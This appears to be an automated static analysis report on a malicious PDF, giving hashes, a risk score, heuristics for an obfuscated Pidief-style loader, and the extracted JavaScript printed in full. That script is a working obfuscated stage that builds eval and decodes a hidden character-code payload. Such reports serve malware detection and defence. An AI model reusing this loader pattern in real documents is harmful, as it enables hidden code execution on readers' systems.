Malicious PDF — malware analysis report

Static analysis result for SHA-256 c065cee4933327d1…

MALICIOUS

PDF

45.1 KB First seen: 2026-05-09
MD5: f02706e2325c14012458a66f82ab26c3 SHA-1: bbe166f4483f5254c7c9fd1958ebee0972e0caa6 SHA-256: c065cee4933327d1de5f5493dd891ba3d4b5a5e0a4f3def0ac678b2d38e3fa52
86 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: Malicious JavaScript

The PDF contains embedded JavaScript, flagged by multiple heuristics and a high-confidence ML classifier. The JavaScript is likely intended to exploit a vulnerability within the PDF reader to execute arbitrary code. No specific family could be identified, and no IOCs were directly extracted from the script content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB1B9 452 bytes
SHA-256: cf5fb06e88e7ae5bcd15355173bf97ea28a58d7478fe6b66b305741ee0f8b382
Preview script
First 1,000 lines of the extracted script
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
zialu='';
tnv=('qwrwqr','tit');
e('xafb=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
eiqwo=e('String.fr'+xafb.substr(0,10));
hkezs = e(xafb.substr(10)['replace'](/u/g,','));
e('k=hkezs.length');
for (i = 0; i < k; i+=2) {
	tia = hkezs[i+1] + ('erybjkerl',hkezs[i]);
	zialu += eiqwo(tia);
}
e(zialu);

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